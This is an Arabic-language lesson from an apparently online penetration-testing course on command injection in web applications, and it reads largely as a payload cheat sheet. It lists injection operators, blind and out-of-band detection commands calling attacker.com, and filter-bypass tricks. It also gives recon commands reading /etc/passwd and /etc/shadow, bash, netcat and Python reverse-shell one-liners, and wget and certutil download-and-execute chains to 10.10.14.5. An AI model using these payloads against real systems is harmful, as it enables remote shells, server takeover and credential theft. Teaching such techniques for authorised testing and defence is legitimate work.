الدرس 14 من 24

هجمات تطبيقات الويب

حقن الأوامر

4 دقيقة للقراءة

حقن الأوامر يسمح للمهاجمين بتنفيذ أوامر النظام على الخادم المستهدف. هذه الثغرة شائعة في تطبيقات الويب التي تعالج مدخلات المستخدم.

فهم حقن الأوامر

الكود الضعيف يمرر مدخلات المستخدم مباشرة لأوامر النظام:

// PHP ضعيف
$output = shell_exec("ping -c 4 " . $_GET['ip']);

// مع المدخل: 127.0.0.1; cat /etc/passwd
// يصبح: ping -c 4 127.0.0.1; cat /etc/passwd

معاملات حقن الأوامر

معاملات Linux

المعامل الوصف مثال
; فاصل الأوامر ; whoami
&& AND (الثاني يعمل إذا نجح الأول) && whoami
|| OR (الثاني يعمل إذا فشل الأول) || whoami
| توجيه الإخراج | whoami
` استبدال الأوامر `whoami`
$() استبدال الأوامر $(whoami)
\n سطر جديد %0a whoami

معاملات Windows

المعامل الوصف مثال
& فاصل الأوامر & whoami
&& AND && whoami
|| OR || whoami
| توجيه | whoami

اختبار حقن الأوامر

الكشف الأساسي

; id
; whoami
& id
&& id
| id
|| id
`id`
$(id)

حقن الأوامر الأعمى

عندما لا يُعرض الإخراج، استخدم الكشف المبني على الوقت:

# Linux
; sleep 5
& sleep 5
| sleep 5
$(sleep 5)

# Windows
& ping -n 5 127.0.0.1
| ping -n 5 127.0.0.1

الكشف خارج النطاق

# استدعاء DNS (Linux)
; nslookup attacker.com
; curl http://attacker.com/$(whoami)

# استدعاء DNS (Windows)
& nslookup attacker.com
& certutil -urlcache -split -f http://attacker.com/

تقنيات الاستغلال

Shell مباشر

# Linux reverse shell
; bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'

# نسخة مشفرة URL
%3B%20bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.5%2F4444%200%3E%261'

تحميل ملف وتنفيذ

# Linux
; wget http://10.10.14.5/shell.sh -O /tmp/shell.sh; chmod +x /tmp/shell.sh; /tmp/shell.sh

# Windows
& certutil -urlcache -split -f http://10.10.14.5/nc.exe C:\Windows\Temp\nc.exe & C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 4444

تجاوز الفلاتر

تجاوز المسافات

# باستخدام $IFS (فاصل الحقل الداخلي)
cat$IFS/etc/passwd
cat${IFS}/etc/passwd

# باستخدام tabs
cat%09/etc/passwd

# باستخدام توسيع الأقواس
{cat,/etc/passwd}

تجاوز الكلمات المفتاحية

# تقسيم الأوامر
wh$()oami
wh``oami
who$@ami

# باستخدام المتغيرات
a=wh;b=oami;$a$b

# ترميز Base64
echo "d2hvYW1p" | base64 -d | bash

تجاوز علامات الاقتباس

# علامات اقتباس مفردة
w'h'o'am'i

# علامات اقتباس مزدوجة
w"h"o"am"i

# الخط المائل العكسي
w\ho\am\i

الدوال الضعيفة الشائعة

PHP

system()
exec()
shell_exec()
passthru()
popen()
proc_open()
pcntl_exec()

Python

os.system()
os.popen()
subprocess.call()
subprocess.run()
subprocess.Popen()

Node.js

child_process.exec()
child_process.spawn()
child_process.execSync()

حمولات حقن الأوامر

استطلاع Linux

; id
; whoami
; uname -a
; cat /etc/passwd
; cat /etc/shadow
; ls -la /home
; env
; ps aux

استطلاع Windows

& whoami
& hostname
& ipconfig
& net user
& net localgroup administrators
& systeminfo
& dir C:\Users

حمولات Reverse Shell

# Linux bash
; bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

# Linux netcat
; nc -e /bin/bash 10.10.14.5 4444
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f

# Python
; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

سير عمل حقن الأوامر

1. تحديد متجهات الإدخال
   └── حقول النماذج، معاملات URL، الترويسات

2. الاختبار بمعاملات بسيطة
   └── ; id، | id، & whoami

3. فحص الحقن الأعمى
   └── أوامر sleep، استدعاءات DNS

4. تجاوز الفلاتر إذا لزم
   └── الترميز، $IFS، تقسيم الأوامر

5. التصعيد إلى shell
   └── reverse shell، رفع ملف

في الدرس التالي، سنغطي ثغرات تضمين الملفات (LFI/RFI). :::

اختبار

الوحدة 4: هجمات تطبيقات الويب

خذ الاختبار
نشرة أسبوعية مجانية

ابقَ على مسار النيرد

بريد واحد أسبوعياً — دورات، مقالات معمّقة، أدوات، وتجارب ذكاء اصطناعي.

بدون إزعاج. إلغاء الاشتراك في أي وقت.